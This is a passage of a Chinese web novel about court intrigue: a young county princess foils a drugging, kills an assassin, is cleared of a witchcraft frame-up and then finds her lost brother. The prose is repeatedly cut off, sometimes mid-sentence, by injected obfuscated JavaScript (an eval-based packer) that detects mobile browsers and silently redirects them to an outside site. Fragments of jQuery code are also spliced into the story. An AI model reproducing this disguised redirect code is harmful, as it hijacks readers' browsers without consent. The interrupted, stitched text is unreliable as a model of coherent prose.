结果一转身,颈后就传来一阵剧痛,紧接着两眼一黑,她就晕倒在地。
门口赶来的妙檀和司音瞧见这一幕:“……”
好彪悍的县主。
似乎不需要她们的帮忙。
晏逐星和九栀看到她们也是一愣。
这两位可都是皇后娘娘身边的大宫女,应该不会被人收买了吧?
妙檀急忙开口:“让县主受委屈了,此事娘娘已经知晓,还请县主随司音去偏殿更衣,而后快些回到席上。这儿交给奴婢处理就好。”
晏逐星听到这话,松了一口气。
想必皇后娘娘会处理好这一切,于是她便安心跟着司音去了偏殿,换好衣裳后重新回了席位上。
王贵妃看到安然无恙坐回原位的晏逐星猛地瞪大了眼睛。
不可能,怎么会,她不是应该被迷晕了么?!
晏逐星瞥了太后一眼,却没想到意外欣赏到了王贵妃这变化莫测的表情。
她心中恍然大悟。
哦,是王贵妃啊。
可她从前应该和王贵妃无冤无仇吧,好端端的,她为何要害她?
联想到近日景王频繁去长乐宫,晏逐星悟了。
太后想要她的命,所以借刀**。
只可惜人老眼花,眼神不好使,找了一把钝刀子,非但杀不了她,还在出刀前就自伤八百。
啧。
想必王贵妃一计不成,太后应该还有后招等着她。
晏逐星想到这里警惕了起来。
接下来的茶水,她便只喝嘉敏县主那边的,自己面前的硬是动也不动。
惹得嘉敏县主频频侧目。
太后看到王贵妃变了的表情,以及安安稳稳还有闲心和嘉敏郡主闲聊的晏逐星,哪里还能不明白。
王贵妃的计谋,失败了。
太后心里窝着一肚子的火,几乎要控制不住手中的酒杯。
她真想骂王贵妃是什么废物,怪不得这么多年还是被皇后压着翻不了身。
罢了,还好她没有把希望全寄托在他们母子俩身上,她还有后手。
王贵妃见晏逐星无事,而她安排的事情也迟迟没有发生,心头一阵焦虑。
她实在是坐不住了,便借着身子不适的理由提前离场了。
她如今已经不想管太后和晏逐星的恩怨了,她只盼等会儿事情别牵扯到她的头上。
看着她狼狈离去的身影,崔皇后唇角的笑意愈发冰冷。
希望王贵妃回宫的路上,收到她送的回礼,不要太惊喜。
*
宴会渐渐到了尾声。
压轴的“百鸟朝凤”祝寿舞即将开演,众人的目光都被那些身着七彩羽衣的舞姬给吸引了。
她们脸上戴着精致的鸟羽面具,随着鼓声翩然起舞。
随着鼓点渐渐变得密集,她们的舞姿也由舒缓转为激昂,张开双臂,如同百鸟振翅,向着座位上首的皇后娘娘朝拜。
鼓声达到顶点。
舞姬们盈盈下拜,异口同声道:“恭贺皇后娘娘千岁千岁千千岁。”
众人都露出了惊叹的表情。
就在舞姬俯身叩首,恭贺皇后娘娘千岁时,其中一人下拜的身形却如同离弦之箭般猛地弹射而起。
“有刺客!护驾!”侍卫统领反应很快,惊叫出声。
场内顿时一片骚乱。
谁也没想到,皇后娘娘的寿宴竟然这么一波三折,还来了刺客。
天老爷啊,今日黄历一定不宜出门。
然而接下来的事情却出乎了所有人的意料。
那名刺客压根没有冲着帝后或者太后而去,而是直直握着短剑扑向了晏逐星。
但此刻宫里的侍卫全都在保护位高权重的帝后与王爷公主,没人在意一个小小的县主。
太后唇角勾起一抹冷笑。
她就不信,晏逐星这一次还能逃过一劫。
下一刻,她的笑容就凝固在了脸上。
晏逐星竟然从看似寻常的腰带中抽出了一道软剑。
她非但没有躲开刺客的攻击,反而正面迎敌。
她身旁的婢女更是直接抄起桌上的筷子就往刺客身上射去。
刺客傻眼了。
情报里没说刺杀对象会武啊!!!
“嗤啦。”剑锋划过皮肉的声响传来。
刺客的动作戛然而止,咽喉处赫然多了一道细细的血线。
她难以置信地瞪大眼睛,身体晃了晃,轰然倒地。
殿内是死一般的寂静。
没有人能想到晏逐星竟然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957894|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当着皇上皇后的面,**了。
晏逐星长长地舒了一口气。
还好她一直警惕着。
越到宴会尾声,她的心就悬得越高。
她不信太后没有后手。
果不其然,来了。
只是她没想到太后竟然选择了刺杀这么简单粗暴的法子。
真是让人失望,也真是让人意想不到。
若她没有习武,想必今日已经命丧黄泉了。
果然霍将军说得对,人啊,技多不压身。趁着年轻时,就该多学点东西,总会用得上。
谢翊宁原本还想让照夜和停云去救人,但他没想到小恩人竟然这般厉害,三招就解决了这个刺客。
他当即跪下,高声道:“父皇,母后,令嘉县主护驾有功,该重赏!!!”
众人:“?”
当他们瞎吗,那刺客分明是冲着晏逐星去的,怎么就成了她护驾有功了。
文昭帝:“……”
崔皇后:“……”
小石头这是不放过一丝给救命恩人要赏赐的机会啊!
太后:“……”
她不仅低估了晏逐星的身手,更低估了谢翊宁不要脸的程度。
晏逐星顺势下跪,朗声道:“护卫天家,乃臣女分内之事,不敢居功。”
众人:“???”
不敢居功?
你这一席话不是上赶着承认自己刚刚是在护驾而不是自保么。
这令嘉县主厚脸皮的程度怎么感觉和永安王如出一辙?
文昭帝回过神来,轻咳两声,重重道:“胆大包天!竟敢在皇后寿宴上行此悖逆之事!来人!给朕彻查!”
他顿了顿,目光如电扫过全场,最后落在了晏逐星身上。
看着晏逐星,他的语气变得和蔼了许多。
“永安王所言极是,令嘉县主临危不惧,身手不凡,于殿前格杀刺客,实乃救驾有功,重重有赏!”
太后费尽了全身力气才没有让自己一头栽下去。
她分明给晏逐星设了必死的局,结果反倒给她做了嫁衣让她又得了赏赐。
这个丫头果然像驸马说的一样,邪门。
遇到恶事总能逢凶化吉。
她冷冷看向了晏逐星身后的那个小宫女。
幸好,她还有最后一招。
第225章 一环扣一环
晏逐星身后的宫女接收到了太后的眼神暗示,当即尖叫了起来。
众人下意识地全都看了过去。
她颤颤巍巍地指着晏逐星椅子下的一个东西,哆嗦道:“令嘉县主身上掉下来的,是何物?”
文昭帝使了个眼神,赶忙命小太监去瞧瞧发生了什么事。
小太监不敢怠慢,小跑上前弯腰小心翼翼地将那东西捡了起来。
东西一入手,小太监瞬间像被烫到一样,脸色“唰”地变得惨白如纸。
他捧着那东西的手抖得像筛糠,惊恐地抬头望向皇帝,嘴唇哆嗦着,几乎说不出完整的话:“皇、皇上!这……这是……”
他手中赫然拿着一个用粗糙麻布缝制的人形布偶。
布偶身上密密麻麻扎满了闪着寒光的银针。
更令人毛骨悚然的是,布偶的胸口处,歪歪扭扭地绣着皇后的名讳和生辰八字。
无需多言,在场所有人在看清那布偶的瞬间,都倒抽了一口冷气。
那是诅咒皇后娘娘的巫蛊娃娃。
太后冷冷地盯着晏逐星。
她就不信了,大庭广众之下被发现行这等巫蛊之事诅咒皇后,晏逐星还能有命活着回去。
按照皇帝宠爱皇后的程度,皇帝不把她千刀万剐就算仁慈了。
晏逐星若有所思地看向了太后。
原来刚刚刺杀只是引起骚乱的一环,这才是太后的后手。
她跪下,斩钉截铁地开口:“皇上,皇后娘娘。此物出现得蹊跷至极,绝非臣女所有。”
“恳请皇上、皇后娘娘务必彻查此物来源,验其材质、针线、字迹、朱砂。莫让真凶逍遥法外,玷污皇后娘娘圣寿!”
谢翊宁紧跟着开口:“父皇,母后,令嘉县主忠心护驾,绝对不可能做出这样谋害母后的事情。”
他没想到今日竟然能掀起那么多波澜。
这些人一个个的,就知道在他母后的寿宴搞事情。
都给他等着,日后他查清楚了,非得一个一个还回去不可。
“本宫相信此事绝对不会是令嘉县主所为。”崔皇后沉声开口。
一句话让众人都有些惊讶,皇后竟然这么相信晏逐星么?
今日殿内发生的事情,除了景王送寿礼是针对她之外,就晏逐星这孩子最倒霉,接二连三,总有人想陷害她。
崔皇后越想越心疼这孩子。
“除了你,可还有人瞧见东西是从令嘉县主身上掉出来的?”崔皇后扫了在场所有人一眼,死死盯着那个小宫女。
无人应声。
大家从皇后的态度就能看出来了,她压根不信这事是晏逐星所为。
众人自然也不会傻到上前故意污蔑晏逐星。
“既然只有你一个人瞧见了,那你便拿出证据来吧。如若不然,本宫怀疑这是你故意诬陷令嘉县主!”崔皇后声音比先前冷上十倍。
想着低调过个生辰宴,结果闹出了那么一堆事。
一个个的,真拿她当软柿子捏了是吧。
“皇后娘娘明鉴,不是奴婢干的呀!”小宫女哭喊了起来,“奴婢只是好奇,瞧见了才惊呼出声,奴婢没有诬陷县主。”
太后没想到皇后竟然这般信任晏逐星,眸色渐渐变冷。
“来人,撬开她的嘴,本宫要知道,究竟是谁在本宫寿宴上蓄意**。”崔皇后果断下了命令,“此事若是查不出来,那就谁也别想走了。”
众人顿时倒吸一口凉气。
如果今日查不出来,岂不是所有人都不能离开皇宫了?
太后听到这话,给小宫女使了个眼神。
小宫女眼含热泪,高声道:“奴婢亲眼瞧见此物从令嘉县主身上掉下来的,奴婢没有撒谎,皇后娘娘若是不信,奴婢愿以死明志。”
说完她便要一头撞上柱子寻死。
文昭帝顿时变了脸色。
皇后寿诞若是出了人命,那可就不吉利了。
他当即命侍卫去阻拦。
好在晏逐星反应最快,第一时间冲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963244|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过去拉住了她。
“你不是以死明志,你是想彻底将这个黑锅扣在我的头上吧。”晏逐星冷冷一笑。
小宫女眼里满是倔强:“我没有。”
这时,太子谢元宸忽然开口:“父皇,母后,不如让儿臣来查验此物吧。”
“太子竟然还懂这巫蛊之术?”太后意有所指。
谢元宸摇了摇头:“回禀皇祖母,孙儿不懂,但孙儿或许有法子可以辨认此物出自宫内还是宫外。”
他的一句话,成功勾起了在场之人的好奇心。
太后的心当场就悬了起来。
“好,宸儿,你来辨认。”文昭帝当即将东西交给了最信任的儿子。
谢元宸双手接过,仔细嗅了嗅,众人的心都提到了嗓子眼。
太子殿下真的能查出线索么?
片刻后,谢元宸脸色变得阴沉:“启禀父皇,母后,此物绝不可能是令嘉县主从宫外带进来的。”
“此话何解?”文昭帝询问。
谢元宸缓缓开口:“这巫蛊娃娃上用的朱砂,乃是宫中御药房**之物。”
“此等品相纯正、色泽如血的极品朱砂,专供钦天监画符及御用丹青,民间绝无流通。连寻常妃嫔宫中用度都需严格登记申领。令嘉县主,不可能接触得到。”
太后忍不住反驳:“万一是太子你认错了呢?”
“皇祖母若不信,可以请钦天监监正来辨认一二。”谢元宸一席话让太后脸色白了白。
她宫中的人如今出宫不便,她便直接让她们用宫里的朱砂做了这个巫蛊娃娃,谁能想到竟然让太子给认了出来。
这个太子竟长了一副狗鼻子么,这也能闻得出来。
太后频繁的反驳,让谢翊宁把目光落在了她身上。
他心里有了猜测。
刺杀和巫蛊娃娃,多半都是太后的手笔。
他眉头拧得更紧了。
太后真是越老越坏了。
既是如此,那明日太后也该“送走了”。
第226章 亲哥哥出现
文昭帝听完太子的话,沉声道:
“即刻彻查各宫各处,凡半个月内领用过朱砂者,无论品级高低,一律登记在册,严加盘问。朕倒要看看,是谁吃了熊心豹子胆,敢将这御用之物,用在如此歹毒之处!”
“查!给朕一查到底!”
听到这话,太后的指尖在宽大的袖袍下难以抑制地轻颤,她强迫自己稳住声线:
“皇上既要彻查,那便仔细查吧。只是,今日闹得也够了。皇后圣寿,岂容一而再,再而三地搅扰?无关人等,即刻跪安!”
文昭帝看了看太后疲惫的眉眼,点了点头:“母后说的是。”
随后立刻命人将那批舞姬扣下,将大理寺卿和刑部尚书传入宫,命他们严查刺杀案和巫蛊娃娃案。
只留下了晏逐星,就让其他人先行离开了。
众人离去时你看看我,我看看你,都有一肚子的话想说。
但谁也不敢在此妄议。
皇后今日寿宴,简直比说书先生说的戏文还精彩。
入宫前,谁能想到今日一个寿宴能发生那么多事情。
先是王贵妃和景王被罚,又是苏昭仪和九公主被罚,紧接着又是刺杀,而那位看起来娇娇弱弱的令嘉县主,竟然**不眨眼!
最后竟然还闹出了巫蛊之术。
还是宫中弄出来的。
太可怕了。
后宫果然是个**不吐骨头的地方。
*
“好孩子,今日委屈你了。”崔皇后拉着晏逐星的手,叹了一口气。
晏逐星摇了摇头:“臣女不委屈,反倒是皇后娘娘,好好一个生辰日,却闹成了这样。”
听到她这话,崔皇后笑了。
“无妨,正好借此机会把那些喜欢胡乱蹦跶的家伙给按死。”
晏逐星头皮一紧。
这么机密的事情皇后也能告诉她么。
“你没有受惊就好。”崔皇后笑着拍了拍她的手背。
“本宫记得,你如今已经搬到了京郊那个温泉山庄,小姑娘一个人出城不安全,让小石头送你出城吧。”
“是。”晏逐星没有拒绝。
她正好有事想和永安王通通气。
谢翊宁走了过来,朗声道:“母后,令嘉县主救驾有功,您记得提醒父皇之后赏人家啊。”
崔皇后没好气地看了他一眼:“你就惦记着这个,你就不能关心关心母后?”
“冤枉啊!儿臣都付出了十万两真金白银的关心,您怎么还能这么说我呢。”谢翊宁一脸委屈。
崔皇后被他这模样逗笑了。
“行了行了,本宫知道的。等事情查明后。我和你父皇,一定会好好赏赐令嘉的。可以了吧?”
“我就知道父皇和母后最公正了。”谢翊宁嘿嘿一笑,又说了些好听的话哄皇后开心,这才领着晏逐星出宫。
两人慢悠悠地往宫门外走去。
照夜和停云跟在不远处,确保无人能偷听两人谈话。
“王爷……”晏逐星迅速开口,把今日宴会上遇到的事情都告诉了谢翊宁。
谢翊宁没想到在他没看到的地方竟然还发生了那么多事情。
若晏逐星没有发现迷烟,若母后没有及时派人去偏殿,后续会发生什么事情,他真不敢想!
他攥紧了拳头,将自己的打算告诉了晏逐星。
“明日就送太后一程吧。”
“这么快?”晏逐星有些惊讶。
原本谢翊宁和她说的计划是等六月的时候,和皇后娘娘的生辰间隔一段时间,免得让人无端将太后的死和皇后娘娘牵扯到一起。
“嗯。本王不想等了,谁知道继续等下去,她还会弄出什么幺蛾子。”谢翊宁面若寒霜。
太后一次次地想对晏逐星出手,虽然没有成功,但万一之后不小心成功了呢。
那样的代价是他们承受不起的。
倒不如提早送太后一程。
“好,听您的。”晏逐星点了点头。
“只是您的人已经撤出来了,后续该怎么下手?”
她微微皱眉。
今日永安王让她去长乐宫,带走了池嬷嬷。
池嬷嬷正是他安插在太后身边的人,若太后亡故,池嬷嬷少不了也要受牵连。
所以他便让晏逐星提前把人带走了。
为了掩人耳目,晏逐星把其他一些看得顺眼的小宫女小太监也要走了。
太后并未察觉晏逐星真正想要的只有池嬷嬷一人。
“我的人没了,但在宫里,还有母后呢。”谢翊宁勾起了唇角。
而且,他们现在只差最后一步了。
只要太后明日清晨去上香时,来个刺激她的消息,她累计吸入的毒烟会在那一刻爆发。
轻则中风偏瘫,重则性命不保。
总而言之,之后太后别想再弄出什么幺蛾子了。
见他心中有数,晏逐星便放心了。
“王贵妃那边呢?可要本王替你出气?”想到她先前说的更衣事件,谢翊宁扭头看向她。
晏逐星略一思索,摇了摇头:“应该用不着王爷了。”
谢翊宁眉头紧锁。
“不是说本王是自己人么,王贵妃在宫中,不比你宫外**容易,你不让本王帮你……”
他话还没说完,晏逐星无奈地开口打断了他。
“不是这个意思,我猜皇后娘娘应该已经有了对付王贵妃的法子。咱们静观其变就好。”
晏逐星把崔皇后先前和她说的话转述了一遍。
谢翊宁顿时恍然大悟。
“这倒也是,母后出手比咱们都要方便。”
“母后就是太善良,忍了他们那么久
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963245|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
两人就这么一路絮絮叨叨出了皇宫。
为了晏逐星的闺誉,两人依旧是分开两辆马车走。
晏逐星的马车在前,谢翊宁的马车取了王府的徽印默默跟在后边护送她回摘星山庄。
出城时,忽然听见了一阵争执声。
晏逐星掀开车帘,往外看去。
发现是一个镖局的人正和入城的守卫争执着什么。
“嗯?”守卫斜睨着手中的路引,声音拖得老长。
“这墨色怎么深浅不一?瞧着就不地道!还有这日期,啧,怎么糊了一块?看着就不像正经官衙发的东西!”
被刁难的镖师强压着心头的火气,脸上堆起恳求的笑容:
“官爷明鉴!这路引千真万确,是出发地知府衙门亲手所发,盖着鲜红的大印,绝不可能有假啊!”
“许是路上风吹日晒,或是小的保管时不小心蹭到了点水汽……”
他声音放得又低又急,试图解释。
但那守卫却像是没听见,随手将路引往旁边小兵手里一塞,用力拍打着车上的一个箱子,发出沉闷的“砰砰”声,引得拉车的骡马不安地刨了刨蹄子。
“哼!”守卫冷笑一声,指着箱子。
“你这货单上白纸黑字写着苏绣十箱。苏绣是什么?那是轻软金贵的绸缎!”
“可老子摸着这箱子梆硬,听着这声儿也不对劲,倒像是装了铁疙瘩、硬货!”
他猛地转身呵斥镖局一行人:“这里头装的到底是什么玩意儿?给老子开箱!立刻验看!”
“官爷!使不得啊!”镖局一行人脸色骤变,一个箭步上前挡在了前边。
“官爷容禀!这苏绣最是娇贵,箱子用的都是特制的樟木箱,内衬软缎,防虫防潮,所以才显得厚实沉重些。若是贸然开了箱定会破损啊。”
九栀看到这一幕,顿时怒道:“县主,这些人摆明了就是想要敲诈银钱,故意找茬。”
晏逐星看不得这些人故意欺负老百姓,当即吩咐了几句,让九栀拿着自己的令牌下车。
瞧见九栀,一开始那些守卫还不以为意,直到她拿出令牌。
众人一看,县主。
那可不是他们能惹的。
赶忙堆着笑,把九栀要的路引文书给了她。
“老大,那贵人为何忽然要咱们的路引文书啊?”一个高大的汉子看着头儿,忍不住问了出来。
棠云麒摇了摇头:“不知道,希望是好事吧。”
他们盯着拿着路引文书的九栀,见她停在了马车前,似乎是要将文书交给她的主子。
帘子掀开的那一刹那,正烦躁着的棠云麒如遭雷击。
看着马车里晏逐星那张和自己长得有七分像的脸,他下意识地脱口而出:“婋婋(xiāo)……”
第227章 亲兄妹相认
巨大的喜悦几乎要冲昏了棠云麒的头脑,他找了妹妹那么多年,终于要找到了么!
他用仅存的理智拽住了身旁韩栋的胳膊,死死控制着自己的激动,压低声音道:“老韩,你看马车里那姑娘,和我长得是不是很像?”
韩栋瞅了他一眼,正想看一眼马车里的晏逐星。
帘子就已经放下了。
他隐约只看到了一个侧脸。
他盯着满脸络腮胡的棠云麒,端详片刻后摇了摇头:“老大,你在说什么胡话。马车里的贵人,怎么可能跟你长得像。瞅你这样,看起来都能给人家当爹了!”
棠云麒:“……”
他这不是为了让自己看起来稳重些,特意蓄的须么!
那些镖局的客人见他面嫩,总说他稚气未脱,不堪重任,选人押镖时总是不选他。
蓄须,乃是无奈之举。
再说了,他刚满二十,怎么可能生得出人家那么大的闺女。
老韩简直胡说八道。
棠云麒只盼着帘子再掀开一次,让他好看清楚马车里的女子到底是不是妹妹。
但令他失望了。
马车里只伸出了一只纤细的手,将文书路引给了先前那位婢女。
只见那婢女将文书交给了守卫,冷脸道:“县主查验过了,路引文书无问题,你们还不速速给人家放行。”
先前对他们呼来喝去的守卫,立刻露出了讨好的笑脸:“好好好,小的这就给他们放行。”
转向他们时,又变成了不耐烦的神色:“还不赶紧走。”
棠云麒拿回路引文书,命手底下的人先把东西运进城,自己追上了即将出城的马车。
“多谢贵人出手相助,此恩铭记于心!敢问贵人名讳?他日若有差遣,必当竭力相报!”
马车里的女子没有说话,先前那个帮了他们的婢女探头出来,冲他笑了笑。
“些许小事,不足挂齿。我家主子乃圣上亲封的令嘉县主。若要报恩,可以去城外摘星山庄寻我家主子。”
说完,马车便缓缓行驶,往城外走去。
九栀坐回了马车里,有些好奇地看着晏逐星。
“县主,您先前不是说还说施恩不图报么,怎么忽然又改了主意?”
晏逐星笑道:“我也没想到他会冲上来说这么一番话啊。既然他都主动想要报恩了,那我也就不客气了。”
她想着镖局走南闯北,去过的地方很多,说不定可以帮她寻找亲生父母的线索。
“这倒也是。”九栀点了点头,托着下巴若有所思。
“不过我总觉得先前那个镖头,有点眼熟啊。感觉好像在哪里见过,但又想不起来。”
衔蝉捂着唇笑了起来:“一个大胡子,你怎么会见过?”
她这么一说,九栀也跟着笑了起来。
“确实没见过大胡子。可能,看错了吧。”
*
“令嘉县主?摘星山庄?”
听到棠云麒口中念念有词,韩栋忍不住凑了过来。
“老大,你真觉得那贵人是你走丢的妹妹啊?”
整个长风镖局的人都知道,棠云麒走镖就是为了找他那丢了十几年的妹子。
十五岁开始,他就跟着老镖头走镖。每去一个地方,就要打听妹妹的下落。
“可人家是县主,哪里是咱们这样的人能高攀得起的。”韩栋摇了摇头。
“是不是,到时候见了就知道了。横竖人家都帮了咱们,咱们去道谢也是应该的。”
棠云麒按住心头的激动,把货物运送到了指定的地点后,立马就开始打听“令嘉县主”的事。
他寻了个茶楼里的说书先生。
这些人成日里迎来送往,三教九流见得最多,京城里贵人名头的门道,他们门儿清。
原以为打听这等贵人的消息,少不得要费一番周折,不竟没费什么力气就问了出来。
说书先生收了他的银子,摇头晃脑道:
“你说令嘉县主啊,哟,那可了不得了。”
“她先是定远侯府的嫡女,后来又成了国公府义女,如今更是被圣上……”
他话还没说完,就被小二给打断了。
“什么定远侯的嫡女,那是被定远侯夫人拐来的好吧。”
听到“拐来的”三个字,棠云麒心中的希望一下又燃了起来。
“哪里拐来的?”他忍不住追问。
“青州。”小二搭话,被说书先生瞪了一眼。
棠云麒大喜!
妹妹当年正是在青州被拐走的!
他迫不及待地继续追问道:“她的生父生母是谁你们可知道?”
“这可是大家伙都好奇的问题。”说书先生斜睨了小二一眼,示意他不要多嘴。
“那位令嘉县主先前认过一回亲。”
“认过一回亲?”棠云麒眉头紧锁。
难不成他真认错了。
“只可惜,那对夫妇,诶,是假的!”说书先生慢悠悠地继续说了起来。
棠云麒压着心里的激动听他说完了全过程,有些目瞪口呆。
随后又是深深的愤怒。
那个拐子,拐了他妹妹竟然还不好好对待。
竟然还欺负她?!
不过好在他们现在全家都**,他们也可以不用躲躲藏藏了。
棠云麒松了一口气。
他恨不得现在就出城去摘星山庄,当面见一见那位令嘉县主,好确认到底她到底是不是他的走丢多年的妹妹。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963246|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>想到当**,他气得攥紧了拳头。
那年妹妹走丢时,他七岁了,已经记事。
可妹妹还不到三岁,会不会已经想不起他们了?
棠云麒一颗心七上八下。
奈何城门已经关了,他只能等第二天再出城了。
一整晚,他辗转反侧,愣是没睡着。
翌日清晨,他便迫不及待地想要去摘星山庄。
“老大,你就这样去见人家贵人么?”韩栋被他吵醒,指了指他的脸。
“你顶着两个那么大的黑眼圈,跟食铁兽似的,再加上你的大胡子,看起来怪吓人的。别到时候惊着贵人,脑袋不保。”
他这话提醒了棠云麒。
棠云麒赶忙将脸上的胡须给剃光了。
不一会儿,铜镜里便出现了一个风流倜傥的翩翩少年郎。
棠云麒一时间看愣了。
他都快认不出自己来了。
他摸了摸自己的脸,又找回了一点儿信心。
想必到时候见面,看到他这张脸,就算妹妹不记得他了,应该也不会马上把他赶走吧?
想到这,原本着急忙慌出门的棠云麒忽然不急了。
他把这回走镖挣的银子,分成了三份。
一份回家给阿爹阿娘,一份路上用,剩下最多的那一份。
全都拿去给妹妹买东西!
珠花首饰,衣裳布料,各种糕点,他全都买了一份。
虽然妹妹是县主,不缺他的东西,但那是当兄长的心意,久别重逢,总不可能空手上门。
若他认错了人,那位令嘉县主不是妹妹……
也无妨。
棠云麒想,他善待了别家姑娘便是积了德,想必妹妹在别处也自有旁人照应。
这么想着,他便提着大包小包去了摘星山庄。
*
“县、县主,昨日那个镖头来了。”衔蝉有些结巴地跑进来通报。
晏逐星有些惊讶,来就来了,怎么还让向来稳重的衔蝉露出这样的表情。
“让他进来吧。”
“是,县主,您待会莫要太惊讶。”衔蝉回过神来,盯着晏逐星的脸,忍不住在心里感慨,实在是太像了。
或许这一回县主真的能寻到她的家里人了。
晏逐星被她说得愈发迷糊了。
她能惊讶什么?
她将手里的账册放下,往外探了一眼。
此刻棠云麒已经被人领了进来。
两人见面的那一瞬间,看清彼此的脸时,都僵在了原地。
未语泪先流。
只一眼,棠云麒就确定了,眼前的人就是自己走丢十几年的妹妹棠云婋。
他的眼眶一瞬间就红了。
“长风镖局棠云麒,见过县主。”
第228章 还记得多少
他的声音因为压抑着情绪变得有些古怪,身子更是控制不住地在颤抖。
晏逐星看着眼前的人,心口仿佛被什么东西狠狠撞了一下,一股酸热猛地冲上鼻腔,视线瞬间模糊。
一种阔别经年、魂牵梦萦的熟悉感毫无预兆地席卷了她全身。
她小心翼翼地看着面前的人,带着一丝期待与三分不可置信,试探性地开口:“哥哥?”
这两个字,直接让棠云麒绷不住了。
滚烫的泪落下,他想要上前抱住晏逐星,却又怕吓到她而停了下来。
千言万语最终只化作了两个字:“婋婋……”
这两个字唤醒了晏逐星尘封已久的记忆。
那些模糊的记忆在这一刻铺天盖地的涌来。
“婋婋?”
晏逐星捂着头,只觉得头痛欲裂,跌坐回了椅子上。
“县主?县主?”丫鬟们吓了一跳,赶忙上前搀扶她。
棠云麒更是吓得变了脸色。
“婋婋,你怎么了?”
他不知所措地看着周围的人:“可要去请大夫?我这就去……”
“不,大哥,别走。”晏逐星听到这话,猛地起身扑上去抓住了他的手。
“大哥,我害怕,你别走。”
她“哇”一下就哭了。
她想起了当初一个人站在大街上,找不到爹娘兄长的无助。
那时候,她还不到三岁。
一旁的丫鬟们都看傻了眼。
她们从未见过县主这般脆弱、惶恐和无助。
即便是杀了人,她也是一副风轻云淡的模样。
这一刻,她终于有了一点儿这个年纪少女该有的表现。
她们的眼眶也忍不住湿了。
“大哥不走,大哥不走。大哥找了你好久,大哥怎么舍得走呢。”棠云麒一把将妹妹抱到了怀里,轻轻拍着她的背,像小时候那样哄着她。
“婋婋别怕,大哥在呢,大哥会一直陪在婋婋身边,不会再让人把婋婋带走了。”
晏逐星没说话,只是紧紧地抱着兄长,一言不发。
只是眼泪怎么也止不住,跟断了线的珠子似的一直往下落。
衔蝉见到这一幕,用帕子擦掉了眼泪,而后快速将山庄护卫头领卢空青叫了过来。
“速速回王府,将季太医请来。”
她记得小姐在找家人时,和她们说过,温氏小时候给她喂过让人忘记前尘的药。
如今小姐似乎想起来了什么,头疼得厉害。
脑袋上的毛病可不容忽视,寻常大夫恐怕治不好,还是得让王爷把季太医请来才行。
“是。”卢空青应下,快马加鞭去了永安王府。
谢翊宁先听到一个男子提着大包小包的东西去摘星山庄报恩,当即从椅子上蹦了起来。
什么?
区区一个镖局的小头头就敢肖想他的小恩人?
那可不行。
满京城的王公贵族他都没给小恩人挑出一个满意的夫婿,镖局的人就更不行了。
而后又得知晏逐星犯了头疾,头疼得厉害,更坐不住了。
他亲自把季太医揪去了摘星山庄。
“县主,王爷和季太医来了。”衔蝉进屋传话。
晏逐星此刻已经平复了心情,但眼眶还是红得不像话。
她点了点头,示意衔蝉把人请进来。
棠云麒听到有太医来了也松了一口气,先前妹妹捂着头倒下的样子真是把他吓坏了。
只是听到王爷,顿时又紧张了起来。
“我要不要先避让一二?”他看向晏逐星。
“不必。都是自己人。”晏逐星摇了摇头。
谢翊宁一进门,听到这话,先是高兴,而后又有些不悦。
什么叫都是自己人。
他是自己人没错,季太医勉强也算半个自己人,这忽然冒出来的镖头,算什么自己人?
“王爷,您来了。”晏逐星抬头见他似乎有些不高兴,不明所以。
棠云麒听到这话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967308|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
